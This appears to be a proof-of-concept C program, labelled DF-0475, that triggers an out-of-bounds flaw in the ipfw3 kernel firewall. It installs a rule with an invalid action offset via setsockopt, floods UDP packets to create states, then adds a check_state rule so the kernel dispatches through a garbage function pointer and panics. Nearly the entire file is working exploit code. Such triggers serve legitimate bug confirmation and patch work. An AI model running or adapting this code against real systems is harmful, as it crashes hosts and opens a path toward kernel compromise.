DF-0475 / df0475_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-0475 - ipfw3 act_ofs OOB: full trigger via check_state/keep_state * * Confirms the OOB CONSEQUENCE of the missing act_ofs validation. * Requires: ipfw3 + ipfw3_basic loaded. * * Steps: * 1. Install rule 150 "proto udp + keep_state" with act_ofs=99 (OOB). * This rule creates states whose ->stub points back at rule 150. * 2. Flood UDP packets to create states on all CPUs. * 3. Install rule 100 "check_state" (normal) -- checked BEFORE rule 150. * 4. Flood more UDP packets. When check_state finds a state created by * rule 150, it sets *f = state->stub = rule150, returns CHK_STATE. * ip_fw3.c:520-524 then does cmd = ACTION_PTR(rule150) = cmd+99 = OOB, * reads OOB cmd->module/opcode, calls filter_funcs[OOB_m][OOB_o]. * On default GENERIC this panics (NULL or garbage func pointer, or * KASSERT if INVARIANTS catch it first). * * Build: cc -o df0475_trigger df0475_trigger.c * Run: ./df0475_trigger */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define IP_FW_X 49 #define IP_FW_ADD 50 struct ipfw_insn { uint8_t o,l; uint16_t a1; uint8_t m,a3; uint16_t a2; } __packed; struct ip_fw_x_header { uint16_t op, pad; } __packed; struct ipfw_ioc_rule { uint16_t act_ofs, cmd_len, rulenum; uint8_t set, insert; uint32_t sets; uint64_t pcnt, bcnt; uint32_t ts; struct ipfw_insn cmd[8]; } __packed; struct msg { struct ip_fw_x_header h; struct ipfw_ioc_rule r; } __packed; #define O_BASIC_PROTO 10 #define O_BASIC_KEEP_STATE 24 #define O_BASIC_CHECK_STATE 25 #define O_BASIC_ACCEPT 0 static int install(int s, int rulenum, int act_ofs, int cmd_len, struct ipfw_insn *cmds) { struct msg m; int i; memset(&m, 0, sizeof(m)); m.h.op = IP_FW_ADD; m.r.act_ofs = act_ofs; m.r.cmd_len = cmd_len; m.r.rulenum = rulenum; for (i = 0; i < cmd_len; i++) m.r.cmd[i] = cmds[i]; if (setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m)) < 0) { fprintf(stderr, "install rule %d: %s\n", rulenum, strerror(errno)); return -1; } printf("[+] installed rule %d (act_ofs=%d cmd_len=%d)\n", rulenum, act_ofs, cmd_len); return 0; } int main(void) { int s, u, rc, i; struct sockaddr_in dst; struct ipfw_insn cmds[4]; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s<0){perror("socket");return 2;} /* Rule 150: proto udp + keep_state + accept, with OOB act_ofs=99 */ memset(cmds, 0, sizeof(cmds)); cmds[0].o = O_BASIC_PROTO; cmds[0].l = 2; cmds[0].m = 0; cmds[0].a1 = 17; cmds[1].o = O_BASIC_KEEP_STATE; cmds[1].l = 2; cmds[1].m = 0; cmds[2].o = O_BASIC_ACCEPT; cmds[2].l = 2; cmds[2].m = 0; /* act_ofs points to the action (accept at cmd[2] = word 4). But we set it to 99 (OOB). */ install(s, 150, 99 /*OOB act_ofs*/, 6 /*3 insns * 2 words*/, cmds); printf("[*] flooding 200 UDP packets to create states on all CPUs...\n"); fflush(stdout); u = socket(AF_INET, SOCK_DGRAM, 0); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9999); inet_aton("10.0.2.2", &dst.sin_addr); for (i = 0; i < 200; i++) { dst.sin_port = htons(10000 + (i % 1000)); rc = sendto(u, "x", 1, 0, (struct sockaddr*)&dst, sizeof(dst)); if (rc < 0 && errno != EACCES) { printf("sendto[%d]: %s\n", i, strerror(errno)); } } printf("[+] flood done. Installing check_state rule 100...\n"); fflush(stdout); /* Rule 100: check_state (normal). Checked BEFORE rule 150. */ memset(cmds, 0, sizeof(cmds)); cmds[0].o = O_BASIC_CHECK_STATE; cmds[0].l = 2; cmds[0].m = 0; install(s, 100, 0 /*normal act_ofs*/, 2 /*1 insn*/, cmds); printf("[*] flooding 200 more UDP packets to trigger CHK_STATE -> ACTION_PTR OOB...\n"); printf("[*] if bug fires, kernel panics via OOB filter_funcs call.\n"); fflush(stdout); for (i = 0; i < 200; i++) { dst.sin_port = htons(10000 + (i % 1000)); /* same flows as before */ rc = sendto(u, "x", 1, 0, (struct sockaddr*)&dst, sizeof(dst)); if (rc < 0 && errno != EACCES) { printf("sendto2[%d]: %s\n", i, strerror(errno)); } } printf("[!] all packets sent - OOB did not panic on this run\n"); printf("[!] (state lookup is per-CPU; the trigger may need CPU pinning)\n"); close(u); close(s); return 0; } |